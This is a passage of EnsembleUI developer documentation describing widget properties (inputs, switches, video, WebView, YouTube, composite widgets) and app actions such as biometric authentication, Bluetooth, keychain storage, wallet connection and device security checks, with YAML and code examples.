Expression the input will need to match | +| regexError | string | The customized error message to show when the input does not match the provided regex. | + +#### options for styles.variant + +| Option | Description | +| :-------- | :------------------------------------------------------------------------------------------------------------------- | +| box | draw a Box border around this input widget. This property can be defined in the theme to apply to all Input widgets. | +| underline | draw an Underline below this input widget. This property can be defined in the theme to apply to all Input widgets. | + +### MaxLengthEnforcement + +| Property | Type | Description | +| :--------- | :------ | :------------------------------------------------------------------------------------- | +| none | string | No enforcement applied to the editing value. It's possible to exceed the maxLength. | +| enforced | string | Keep the length of the text input from exceeding the max length even when the text has an unfinished composing region. | +| truncateAfterCompositionEnds | string | Users can still input text if the current value is composing even after reaching the max length limit. After composing ends, the value will be truncated. | + +--- + + +# Text widget + +Display and style text within your application. + +--- + + +# Time widget + +The Time Widget enables the rendering of time input fields, allowing users to select and display time values within your application for time-related functionality and interactions. + +--- + +# TripleSwitch widget + +The TripleSwitch Widget enables the rendering of switch toggle elements, providing users with an intuitive and interactive way to toggle between three states (off, mixed, on) within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/) + +## Properties + +| Property | Type | Description | +| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| id | string | ID to be referenced later +| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | +| value | string | Specifying the value of your switch widget (off, mixed, on) | | +| styles | object | [see properties](#styles) | +| leadingText | string | Sets the text displayed before the checkbox | +| trailingText | string | Sets the text displayed after the checkbox | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| activeColor | integer or string | Sets the active color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| inactiveColor | integer or string | Sets the inactive color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| mixedColor | integer or string | Sets the mixed state color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| activeThumbColor | integer or string | Sets the active thumb color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| inactiveThumbColor | integer or string | Sets the inactive thumb color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | + +--- + +# Type References +These Types objects are used in multiple widgets. They are defined here for reference. + +## TextStyle +TextStyle allows customization of font, size, color, decoration, and more to enhance the UI's textual elements. + +| Property | Type | Description | +|:-------------------|:-----------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports) | +| fontSize | integer | The size of the font. Valid values range from 1 to 1000. | +| lineHeightMultiple | number | A multiplier applied to the font size to determine line height (e.g., 2.0 for double the height of the font size). By default this value varies on the font used. | +| fontWeight | [FontWeight](#FontWeight) | The weight of the font. | +| isItalic | boolean | If true, the text is italicized. | +| color | [Color](#Color) | The color of the text. | +| backgroundColor | [Color](#Color) | The background color of the text | +| gradient | [Gradient](#gradient) | A gradient effect applied to the text. | +| decoration | enum | The text decoration: `none`, `lineThrough`, `underline`, `overline`. | +| decorationStyle | enum | The style of the text decoration (if decoration is not `none`): `solid`, `double`, `dotted`, `dashed`, `wavy`. | +| decorationColor | [Color](#Color) | The color of the decoration. | +| decorationThickness| number | The thickness of the decoration. | +| overflow | enum | Treatment of text exceeding available space: `clip`, `fade`, `ellipsis`, `visible`. | +| letterSpacing | integer | Space between characters in the text. | +| wordSpacing | integer | Space between words in the text. | + +## Gradient + +| Property | Type | Description | +|:---------|:-----------------------------------------------|:-----------------------------------------------------------------------------------------------------------| +| colors | [Color[]](#Color) | An array of colors used for the gradient. | +| stops | number[] | The list of numbers from 0.0 (where the gradient starts) to 1.0 (where the gradient ends), one for each colors specified | +| start | [Alignment](#Alignment) | The starting position of the gradient. | +| end | [Alignment](#Alignment) | The ending position of the gradient. | + +## FontWeight +This property defines the weight (thickness) of the font used in text styling. It includes standard weights and numerical weights for finer control. + +| FontWeight | Description | +|------------|-------------------------------------------| +| light | Lighter font weight. | +| normal | Normal or regular font weight. | +| bold | Bold font weight. | +| w100-w900 | Font weight from 100-900 (light to bold). | + +## Color +This property defines the color based on a pre-defined names (see the supported names below) or as hexdecimal numbers that represent color codes. + +You can use color codes in one of the two ways - +- HTML/CSS format as a string with quotes around it. Starts with # and contains 6 or 8 characters after it. For example, '#FF5733' for orange. `Remember to put quotes around it as # is a comment character in yaml`. +- The common programming language format without quotes. Starts with 0x and has 8 characters after it. For example, 0xFFFF5733 for orange. + +Either way works fine and internally color codes are automatically converted to the programming language format. + +| Name | Description | +|-------------|------------------| +| transparent | Transparent | +| black | Black color. | +| blue | Blue color. | +| white | White color. | +| red | Red color. | +| grey | Grey color. | +| teal | Teal color. | +| amber | Amber color. | +| pink | Pink color. | +| purple | Purple color. | +| yellow | Yellow color. | +| green | Green color. | +| brown | Brown color. | +| cyan | Cyan color. | +| indigo | Indigo color. | +| lime | Lime color. | +| orange | Orange color. | + +## Alignment +This property is used to specify the alignment of an element within its parent. + +| Alignment | Description | +|--------------|-------------------------------------------------------| +| topLeft | Aligns the element at the top-left corner. | +| topCenter | Aligns the element at the top-center. | +| topRight | Aligns the element at the top-right corner. | +| centerLeft | Aligns the element at the center-left side. | +| center | Centers the element both horizontally and vertically. | +| centerRight | Aligns the element at the center-right side. | +| bottomLeft | Aligns the element at the bottom-left corner. | +| bottomCenter | Aligns the element at the bottom-center. | +| bottomRight | Aligns the element at the bottom-right corner. | + +## TapHaptic +This property specifies the type of haptic feedback to be played upon tapping an element. The options are listed in decreasing order of intensity. + +| Haptic Feedback | Description | +|-----------------------|--------------------------------------------------------------------------------------------------| +| heavyImpact | Generates a haptic feedback of the highest intensity. | +| mediumImpact | Provides a haptic feedback of medium intensity. | +| lightImpactHaptic | Offers a lighter haptic impact as feedback. | +| selectionClickHaptic | Produces a mild, click-like haptic feedback, typically used for selection changes. | +| vibrateHaptic | Triggers a standard vibration as haptic feedback. | + +## BackgroundImage +This property configures a background image for a widget, including its source, fit, alignment, and a fallback option. + +| Property | Type | Description | +|:----------|:-----------------------------------------------|:--------------------------------------------------------------------------------------------------------------------| +| source | string | The Image URL to fill the background. | +| fallback | [Widget](#widget-directory) | Return an inline widget or specify a custom widget to be rendered when the backgroundImage fails to load the image. | +| fit | [Fit](#Fit) | How to fit the image within the dimensions. | +| alignment | [Alignment](#Alignment) | Align this image relative to its parent or dimensions. | + + +## Fit + +This property determines how to fit the image within the dimension or the parent container. + +| Fit Mode | Description | +|------------|-----------------------------------------------------------------------------------------------------| +| fill | Stretch our image to fill the dimension, potentially distorting the aspect ratio if necessary. | +| contain | Scale the image such that the entire image is contained within our dimension. | +| cover | Scale the image to fill our dimension, clipping the image as needed. | +| fitWidth | Scale the image to fit the width, and clipping the height if needed. | +| fitHeight | Scale the image to fit the height, and clipping the width if needed. | +| none | Center-Align the original image size, clipping the content if needed. | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + + +## Border + +| Property | Type | Description | +|:-------------|:---------------------------------------|:-------------------------------------------------------| +| borderRadius | integer / string | Border Radius with CSS-like notation (1 to 4 integers) | +| borderColor | [Color](#Color) | Border color, starting with '0xFF' for full opacity. | +| borderWidth | integer | The thickness of the border. Minimum value: 0. | + +## Shadow +This property defines the shadow properties for a widget, including color, offset, radius, blur radius, and style. + +| Property | Type | Description | +|:-----------------|:------------------|:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| shadowColor | string / number | Box shadow color starting with '0xFF' for full opacity. | +| shadowOffset | array of integers | Offset of the shadow in the format `[x, y]`. | +| shadowRadius | integer | The radius of the shadow. Minimum value: 0. | +| shadowBlurRadius | integer | The blur radius of the shadow. Minimum value: 0. | +| shadowStyle | enum | The blur style to apply on the shadow:
`normal` - Fuzzy inside and outside (default)
`solid` - Solid inside, fuzzy outside.
`outer` - Nothing inside, fuzzy outside.
`inner` - Fuzzy inside, nothing outside. | + +--- + +# Video widget + +The Video Widget enables seamless integration of video content within your application, providing an immersive and engaging multimedia experience for users. + +> To get hands-on experience with `Video` widget, see live example in [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fce92bbb-af8e-403d-bf2d-c10926cc89a0) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------------- | +| source | string | The URL source to the media file | +| showControls | boolean | Offers options to show/hide video controls. (default true) | +| loadingWidget | Widget | The widget to show when video is loading. | +| repeat | boolean | Video will kept replaying in loop. | +| autoplay | boolean | Automatically start the video when player is loaded. (default False) | +| playbackRate | number | For changing the speed at which the video is displayed | +| volume | number | Changes the volume. (max = 100, min = 0) | +| onChange | Action | Action to execute when the video has changed | +| onStart | Action | Call Ensemble's built-in functions or execute code when video is about to start | +| onEnd | Action | Call Ensemble's built-in functions or execute code when video is about to end | + +## Code Example +``` +Video: + source: https://flutter.github.io/assets-for-api-docs/assets/videos/bee.mp4 + repeat: true + autoplay: true + showControls: false + loadingWidget: + Progress: + display: circular +``` + +--- + + +# WebView widget + +The WebView Widget enables seamless integration of web content within native apps and web apps, providing a versatile and consistent browsing experience across platforms. In addition to its core functionality, WebView also supports the use of cookies. [Learn more here!](/pages/tips-and-tricks/cookies.md) + +```yaml +- WebView: + url: https://messages.mycompany.com + allowedLaunchSchemes: + - "tel:" + - "sms:" + - "mailto:" + - "slack:" + + #note that if you explicitly specify `allowedLaunchSchemes` you must specify the defaults as well if you want them to be allowed otherwise they will be overwritten +``` +```yaml +headerOverrideRules: + - urlPattern: "api.example.com" + matchType: CONTAINS + headers: + SECRET: abc123 + mergeExisting: true +``` + +--- + +# Youtube + +The YouTube feature in EnsembleUI allows integration of YouTube videos into your application, providing users with a rich multimedia experience. + +### YouTube Player Configuration +The YouTube player component offers a range of options for customizing the behavior and appearance of YouTube videos within the application. + +- URL: Specifies the URL of the main YouTube video to be played. +- Video List: Provides a list of additional videos to be displayed in the video player. +- Playback Rate: Allows users to adjust the playback speed of the video. +- Volume: Enables users to set the volume level for audio playback. +- Playback Controls: Offers options to show/hide video controls, enable captions, and display annotations. +- Autoplay: Determines whether the video should start playing automatically when loaded. +- Start and End Seconds: Specifies the start and end times of the video playback. +- Aspect Ratio: Defines the aspect ratio of the video player. + +### Controlling Video Playback +The control buttons allow users to interact with the YouTube player and manage video playback effectively. + +- Prev/Next: Navigate to the previous or next video in the playlist. +- Play/Pause: Start or pause video playback. +- Mute/Unmute: Toggle audio mute/unmute. +- Stop: Stop video playback. + +### Setting Playback Rate and Volume +Users can set the playback rate and volume using the provided text input fields: + +- Set playback rate: Adjust the playback speed of the video. +- Set volume: Control the audio volume of the video. + +## Example Configuration +```yaml + - TextInput: + hintText: Set playback rate + id: playback + - TextInput: + hintText: set volume + id: volume + - YouTube: + volume: ${volume.value} + showFullScreenButton: true + url: https://www.youtube.com/watch?v=4NRXx6U8ABQ + videoList: + - https://www.youtube.com/watch?v=H5v3kku4y6Q + - IoBP24I2lwA + playbackRate: ${playback.value} + enableCaptions: true + showControls: true + showAnnotations: false + id: youtubeId + startSeconds: 10 + endSeconds: 40 + autoplay: true + aspectRatio: 4 / 3 + - Flow: + styles: + gap: 16 + lineGap: 16 + children: + - Button: + label: Prev + onTap: | + youtubeId.previousVideo() + - Button: + label: Play + onTap: | + youtubeId.playVideo() + - Button: + label: Pause + onTap: | + youtubeId.pauseVideo() + - Button: + label: Mute + onTap: | + youtubeId.mute() + - Button: + label: Unmute + onTap: | + youtubeId.unMute() + - Button: + label: Next + onTap: | + youtubeId.nextVideo() + - Button: + label: Stop + onTap: | + youtubeId.stopVideo() +``` + +Note: The YouTube feature is compatible with Native iOS and Android applications. + +--- + +# Composite Widgets + +Composite widgets are a powerful concept in Ensemble where multiple smaller widgets are combined to create a more complex and reusable widget. + +Composite widgets can be composed of any combination of basic UI elements such as buttons, text fields, labels, etc., allowing app developers to create complex UI components without having to recreate the same layout and functionality multiple times. + +## Benefits of Composite Widgets + +1. **Reusability**: Composite widgets can be reused across different parts of an app or even across multiple apps, reducing duplication of code and effort. +2. **Modularity**: By breaking down UI components into smaller widgets, developers can build more modular and maintainable app definitions. +3. **Customization**: Composite widgets allow for easy customization through inputs, enabling app developers to adapt the widget's behavior and appearance to suit different use cases. + +## How to use them + +When using a composite widget, + +1. prefix the widget name with `ensemble` +2. pass required inputs +3. further customize the widget with optional parameters + +```yaml +View: + body: + Column: + children: + - ensemble.RatingStars: + inputs: + rating: 3 + size: 24 + starColor: white + starBackgroundColor: red + starGaps: 8 + starPadding: 8 + starBorderRadius: 40 +``` + +## Directory of composite widgets + +| Name | Kitchen sink example | Output | +| ---- | -------------------- | ------ | +| HorizontalProgressBar | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/rlWyrWZrkb6JhxoACptf) | ![HorizontalProgressBar](public/images/composite-widgets/HorizontalProgressBar.png) | +| ImageThumbnailCarousel | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/gRexsL9GfS9k6rLswMck) | ![ImageThumbnailCarousel](public/images/composite-widgets/ImageThumbnailCarousel.png) | +| ProfileImageWithIndicator | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/xCU7BvaYzK20NsEuqyNB) | ![ProfileImageWithIndicator](public/images/composite-widgets/ProfileImageWithIndicator.png) | +| RatingStars | [link](https://studio.ensembleui.com/app/8PghcmhtGkWiWffmhDDl/widget/pn4g23nRuQ5D8AsN1qtp) | ![RatingStars](public/images/composite-widgets/RatingStars.png) | + + +## Contributing to Composite Widgets + +Contributions from the community can greatly enhance the functionality and versatility of composite widgets. Here's how you can contribute: + +**1. Create your widget** + +Create an app and follow these guidelines to create your proposed composite widget. + +- In Studio, navigate to widgets tab of your app and create a new widget. +- Your widget should take inputs allowing app developers to customize the widget. Required inputs should be kept to items that without them, the widget cannot be rendered. Styling of the widget should be configurable by using optional inputs. For instance, background of a Column can be made optional. + + ```yaml + Widget: + inputs: + - bgColor # this is optional and defaults to white + body: + Column: + styles: + backgroundColor: '${ bgColor ? bgColor : "white" }' + ``` + +- Avoid setting width and height specially on container widgets such as rows and columns. +- Your widget should be self contained and not rely on definitions outside the widget such as API definitions and storage. + + +**2. Create a screen documenting the widget** + +Within the same app, create a screen to outline inputs and several example usages. See [this example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/rlWyrWZrkb6JhxoACptf) for reference. + +**3. Share your widget on Builder Support** + +Join Ensemble [Discord server](https://dsc.gg/ensembleui), and post a new topic in [Builder Support channel](https://discord.com/channels/1031982848485359626/1088664937288699992) with a link to your app. + +Make sure to make your app public so that reviewers can access it. + + +![Make app public](public/images/make-app-public.jpg) + +--- + +## authenticateByBiometric + +It helps to authenticate user based on biometrics such as face and fingerprint based on sensor available on user's device. + + +> [Note] +> It only works in native devices which has biometric sensors. + + +### Native Configuration + +#### iOS Configuration + +The action works with both Touch ID and Face ID. However, to use the latter, you need to add following in `info.plist` + +```plist +NSFaceIDUsageDescription +Why is my app authenticating using face id? +``` + +#### Android Configuration + +Update your `MainActivity.java`: + +```java +import io.flutter.embedding.android.FlutterFragmentActivity; + +public class MainActivity extends FlutterFragmentActivity { +} +``` + +or `MainActivity.kt`: + +```kt +import io.flutter.embedding.android.FlutterFragmentActivity + +class MainActivity: FlutterFragmentActivity() { +} +``` + +Permissions + +In your `AndroidManifest.xml`: + +```xml + +``` + +### Sample EDL + +```yaml +Button: + label: Biometric Auth + onTap: + authenticateByBiometric: + label: Authenticate to see your balance + + # if device has pin configurated but not biometric sensor be it face or finger, setting allowConfiguration to true will popup user to first configure the settings. + allowConfiguration: true + onAuthenticated: | + //@code + ensemble.debug('Successfully authenticated'); + + onAuthenticationFailed: | + //@code + ensemble.debug('Failed to authenticate'); + + onSensorNotConfigured: | + //@code + ensemble.debug('sensor is not configured'); + + onSensorNotAvailable: | + //@code + ensemble.debug('sensor not available'); + + onError: | + //@code + ensemble.debug('on unknown error'); + +``` + +--- + +### BLE Client + +Ensemble bluetooth modules allows you to create BLE client on ensemble platform. + + +### SETUP + +#### Android +Add permissions for Android (With Fine Location) +```xml + + + + + + + + + + + + +``` + +When release `project/android/app/proguard-rules.pro` add following:- + +> `-keep class com.lib.flutter_blue_plus.* { *; }` + + +#### IOS + +In the `ios/Runner/Info.plist` let’s add: +```plist + NSBluetoothAlwaysUsageDescription + This app needs Bluetooth to function +``` + + +### Action References + +* Note that the event.data is exactly set of characters that the device is sending. It will be a string. If the device is sending JSON data, that will *not* be automatically converted. You will need to call `JSON.parse(event.data)` to convert it to JSON * + +`bluetoothInit` : Turns on the bluetooth (Android only) and Stream of on & off states of the bluetooth. +```yaml +Icon: + name: bluetooth_fill + library: remix + onTap: + bluetoothInit: + onDataStream: | + bluetoothStatus.text = event.data; +``` +`bluetoothStartScan` : Starts a scan for Ble devices +```yaml +Button: + label: Device scan + onTap: + bluetoothStartScan: + onDataStream: | + ensemble.storage.devices = event.data +``` + +`bluetoothConnect` : Establishes a connection to the Bluetooth Device and listen to connection stream +```yaml +Button: + label: Connect + onTap: + bluetoothConnect: + deviceId: ${device.deviceId} + timeout: 60 + onConnectionStream: | + status.text = event.data.status; + onDataStream: | + ensemble.storage.services = event.data; +``` + +`bluetoothDisconnect`: Disconnect connection to Bluetooth Device. +```yaml +Button: + label: Disconnect + onTap: + bluetoothDisconnect: + deviceId: ${device.deviceId} +``` + +`bluetoothSubscribeCharacteristic`: Listen and Retrieves the value of the characteristic. +```yaml +Button: + label: Subscribe + onTap: + bluetoothSubscribeCharacteristic: + id: ${characteristic.id} + onDataStream: | + data.text = event.data +``` +`bluetoothUnsubscribeCharacteristic`: Stop listening to a given characteristics +```yaml +Button: + label: UnSubscribe + onTap: + bluetoothUnsubscribeCharacteristic: + id: ${characteristic.id} +``` + +--- + +# callExternalMethod + +*Note this is relevant for developers who are integrating Ensemble with their flutter apps* + +Utilize the `callExternalMethod` action to call a method in your Flutter app. Ensemble allows you to pass Flutter methods into the framework at the time you instantiate `EnsembleApp`. + +## Example of registering openApp method that's implemented in Flutter + +See how to [embed](https://github.com/EnsembleUI/ensemble/blob/main/starter/lib/main.dart) Ensemble platform in your [existing flutter app](https://github.com/EnsembleUI/ensemble/tree/main/starter) + +```dart + //assuming you have a flutter method called openApp + Map methods = { + //appId, screenId and props will be provided by the EDL code when invoking the callExternalMethod action + 'openApp': ({appId, screenId, props}) => openApp(appId!, screenId, props) + }; + +//following code is from https://github.com/EnsembleUI/ensemble/blob/main/starter/lib/main.dart +void main() async { + WidgetsFlutterBinding.ensureInitialized(); + initErrorHandler(); + await EnsembleModules().init(); + runApp(EnsembleApp( + externalMethods: methods //this is how you can specify one or more Flutter methods that could be invoked from within EDL + )); +} +``` +Here's how to invoke the `openApp` method we registered earlier. + +```yaml +View: + Column: + children: + - Button: + label: Open App + onTap: + callExternalMethod: + name: openApp + payload: + appId: appId + screenId: screenId +``` +Alternatively you can call it in code as follows - + +```js + ensemble.callExternalMethod({ + name: "openApp", + payload: { + appId: appId, + screenId: screenId + }, + }); +``` + +--- + +# checkPermission + +`checkPermission` is designed to check the permission status. It includes components for checking notification, location, contacts, and camera permissions. + +**Callbacks** +1. `onAuthorized`: Executes when the components permission to authorized. Updates the text of the component to "Authorized." + +2. `onDenied`: Executes when the components permission to denied. Updates the text of the component to "Denied." + +3. `onNotDetermined`: Executes when the components permission to not determined. Updates the text of the component to "Not Determined." + +```yaml +- Button: + label: Notification Permission + onTap: + checkPermission: + type: notification + onAuthorized: | + //@code + notificationStatus.text = "Authorized"; + console.log("onAuthorized called"); + onDenied: | + //@code + notificationStatus.text = "Denied" + console.log("onDenied called"); + onNotDetermined: | + //@code + notificationStatus.text = "Not Determined" + console.log("onNotDetermined called"); +``` +When a user taps the "Notification Permission" button, the app checks the notification permission status. Depending on the status, one of the specified callbacks (onAuthorized, onDenied, or onNotDetermined) is executed. + +--- + +# readKeychain + +The `readKeychain` action retrieves previously stored data from the device's secure keychain (iOS) or equivalent secure storage (Android), allowing access to sensitive information that was stored with the highest level of OS security protection. + +## Properties + +| Property | Type | Description | +| :--------- | :----- | :--------------------------------------------------------------------------------------------------------- | +| key | string | The key to retrieve the value from | +| onComplete | action | Execute an Action when the data has been successfully retrieved. The value is available under 'event.data' | +| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | + +## Example + +```yaml +Button: + label: Read from Keychain + onTap: + readKeychain: + key: apiKey + onComplete: + executeCode: + body: | + //@code + console.log("Retrieved API key: " + event.data); + apiKeyInput.value = event.data; + onError: + showToast: + message: ${event.error} + options: + type: error +``` + +## JavaScript Usage + +It is only available in YAML, as this calls a async function whose return type is Future and we use callbacks to handle the result. Our JS is sync and we cannot use async/await in JS. + +## Notes + +- This action reads from the device's secure keychain or equivalent OS security storage. +- Unlike the `getSecureStorage` action, this operation is asynchronous and must use callbacks even in JavaScript. +- The retrieved data is converted back to its original data type (string, number, boolean, or object). +- If no data exists for the given key, the onError callback will be triggered. +- Data stored using [saveKeychain](#savekeychain) can be retrieved with this action. +- The value is available in the `onComplete` action under `event.data`. +- This action provides access to data with OS-level security protection. + +--- + +# saveKeychain + +The `saveKeychain` action stores sensitive information in the device's secure keychain (iOS) or equivalent secure storage (Android), providing a high level of OS-level protection for critical data like authentication credentials, tokens, and other sensitive user information. + +## Properties + +| Property | Type | Description | +| :--------- | :----- | :---------------------------------------------------------------------------------------- | +| key | string | The key to store the value under | +| value | any | The value to store in the keychain | +| onComplete | action | Execute an Action when the data has been successfully stored | +| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | + +## Example + +```yaml +Button: + label: Save to Keychain + onTap: + saveKeychain: + key: apiKey + value: 3f8d9a72e5c6b1f0 + onComplete: + showToast: + message: API key saved to keychain + options: + type: success + onError: + showToast: + message: ${event.error} + options: + type: error +``` + +## JavaScript Usage + +You can also use this action in JavaScript: + +```javascript +// Store a simple string value +ensemble.saveKeychain({ + key: "apiKey", + value: "3f8d9a72e5c6b1f0", +}); + +// Store a complex object +ensemble.saveKeychain({ + key: "accountDetails", + value: { + accountId: "ACC123456", + accessLevel: "premium", + lastAccess: "2023-05-19T14:30:00Z", + }, +}); +``` + +## Notes + +- The keychain provides OS-level security for storing sensitive data. +- On iOS, this uses the Keychain Services API. +- On Android, this uses the Android Keystore System or equivalent secure storage. +- Values stored in the keychain persist even when the app is uninstalled on iOS (not on Android). +- To retrieve the value later, use the [readKeychain](#readkeychain) action. +- To remove the value, use the [clearKeychain](#clearkeychain) action. +- For less sensitive data that doesn't need OS-level security, consider using [setSecureStorage](#setsecurestorage) instead. + +--- + +# clearKeychain + +The `clearKeychain` action removes previously stored data from the device's secure keychain (iOS) or equivalent secure storage (Android), allowing you to clean up sensitive information with the highest level of security when it's no longer needed. + +## Properties + +| Property | Type | Description | +| :--------- | :----- | :---------------------------------------------------------------------------------------- | +| key | string | The key to remove from the keychain | +| onComplete | action | Execute an Action when the data has been successfully removed | +| onError | action | Execute an Action when an error occurs. The error reason is available under 'event.error' | + +## Example + +```yaml +Button: + label: Clear Keychain Data + onTap: + clearKeychain: + key: apiKey + onComplete: + showToast: + message: API key removed from keychain + options: + type: success + onError: + showToast: + message: ${event.error} + options: + type: error +``` + +## JavaScript Usage + +You can also use this action in JavaScript: + +```javascript +// Clear a stored keychain value +ensemble.clearKeychain({ + key: "apiKey", + onComplete: () => { + console.log("API key removed from keychain"); + }, + onError: (error) => { + console.error("Failed to clear from keychain: " + error); + }, +}); +``` + +## Notes + +- This action removes data from the device's secure keychain or equivalent OS security storage. +- This operation completely removes the specified key and its associated value from the keychain. +- If the key doesn't exist, the action may trigger an error depending on the platform. +- Use this action for cleanup when sensitive data is no longer needed (e.g., after logout). +- For security best practices, always clear sensitive data when it's no longer required. +- This action works with data stored using [saveKeychain](#savekeychain). +- Unlike `clearSecureStorage`, this operates at the OS-level security layer. + +--- + +# closeAllDialogs + +closeAllDialogs action dismisses or closes all open modal dialogs within the app, allowing developers to easily manage and reset the dialog stack, ensuring a clutter-free and user-friendly interface for a seamless app experience. + +**Example** + +```yaml +MyStartingDialog: + body: + Column: + styles: + gap: 10 + children: + - Text: + text: Welcome to Ensemble + styles: + fontSize: 16 + fontWeight: bold + - Text: + text: This dialog pops up when the user first visits the page. + - Button: + label: Close dialog + onTap: closeAllDialogs +``` + +The complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/HRIajN2i8bDDVTL32j8m?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) demonstrates its usage along with showDialog + +--- + +# connectWallet + +connectWallet action enables users to establish a connection between their digital wallet and the app, facilitating seamless integration with blockchain-based functionalities, token transfers, and decentralized applications, enhancing user interactions with cryptocurrency-related features. + +### Properties + +| Property | Type | Description | +| :---------- | :----- | :---------------------------------------------------------------- | +| id | string | ID allows you to bind to its result. e.g. ${wallet.addresses...}, | +| wcProjectId | string | Wallet connect project Id, get it from wallet connect dashboard | +| onComplete | action | Execute another Action upon successful upload of files | +| onError | action | Execute an Action when uploader fails with error(s) | +| appMetaData | object | [see properties](#propertiesappMetaData) | + +#### properties.appMetaData + +| Property | Type | Description | +| :---------- | :----- | :----------------------------------------------------------- | +| name | string | Your app name, that will be shared to crypto wallet | +| description | string | Your app's description, that will be shared to crypto wallet | +| url | string | You app's / company's url | +| iconUrl | string | Url path of your app's icon | + +**Example** + + + +```yaml +View: + title: Crypto wallet + body: + Column: + styles: { padding: 16 } + children: + - Markdown: + text: | + ### Build Dapps + + - Connect to any crypto wallet that support wallect connect v1, check supporting wallet. [Wallet Connect Explorer](https://walletconnect.com/explorer?version=1) + + - Get wallet connect project id from wallet connect [dashboard](https://cloud.walletconnect.com/sign-in) + - Set application descriptions like name, description. + - We can connected wallet addresses using `walletRef.addresses`. + - Spacer: + styles: { size: 12 } + + - Divider: + + - Spacer: + styles: { size: 12 } + + - Markdown: + text: | + + # Example + + - Spacer: + styles: { size: 12 } + + - Button: + label: Connect to wallet + onTap: + connectWallet: + id: wallet + wcProjectId: 77740b7e86cfcba224464923b8e115e3 + appMetaData: + name: Ensemeble app + description: Ensemble forever + url: https://ensembleui.com/ + iconUrl: https://ensembleui.com/assets/images/logo.svg + onComplete: | + //@code + + address.text = wallet.addresses; + + - Spacer: + styles: { size: 12 } + + - Markdown: + id: address +``` + + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/MnW9B85MmtqPXLEdZETu?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# copyToClipboard + +copyToClipboard action allows users to copy text or content to their device's clipboard with a simple interaction, facilitating easy sharing and transfer of information within the app, enhancing productivity and user convenience. + +### Properties + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------- | +| value | string | The text to copy to clipboard | +| onSuccess | action | Execute another Action upon successful copy to clipboard | +| onFailure | action | Execute an Action when copy to clipboard fails | + +**Example** + +```yaml +View: + header: + title: "Action: copyToClipboard" + styles: + scrollableView: true + + body: + Column: + styles: + gap: 16 + padding: 24 + + children: + - Markdown: + text: | + Use the `copyToClipboard` action to copy a value to the clipbaord. + + - TextInput: + label: Value to copy + id: textInput + value: Hello there + - Button: + label: Copy to clipboard + onTap: + copyToClipboard: + value: ${textInput.value} + onSuccess: + showToast: + message: ${textInput.value} + "copied!" + options: + dismissable: true + type: success + duration: 3 + onFailure: + showToast: + message: ${textInput.value} + "copied!" + options: + dismissable: true + type: error + duration: 3 +``` + + +complete example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/oQGrStPwLqERIc7kzHFn?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +--- + +# Device Security + +The `deviceSecurity` action checks if the device is rooted, debugged, or running on an emulator. It executes corresponding actions based on the results of these checks, enhancing security awareness and control within your application + +## Properties + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------- | +| onSuccess | action | Action to be executed on successful security check with data on device status | +| onError | action | Action to be executed on error during the security check | + +### Event Data + +When the `onSuccess` action is executed, the following data is available under `event.data`: + +- **debugged**: Indicates if the device is in debug mode. +- **rooted**: Indicates if the device is rooted. +- **emulator**: Indicates if the device is an emulator. + +When the `onError` action is executed, the following data is available under `event.error`: + +- **error**: Error message describing the issue. + +**Example** + +```yaml +View: + header: + titleText: "Device Security Example" + + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Button: + label: Check Device Security + onTap: + deviceSecurity: + onSuccess: + executeConditionalAction: + conditions: + - if: ${event.data.debugged} + action: + showDialog: + body: + Text: + text: "The device is in debug mode." + - elseif: ${event.data.rooted} + action: + showDialog: + body: + 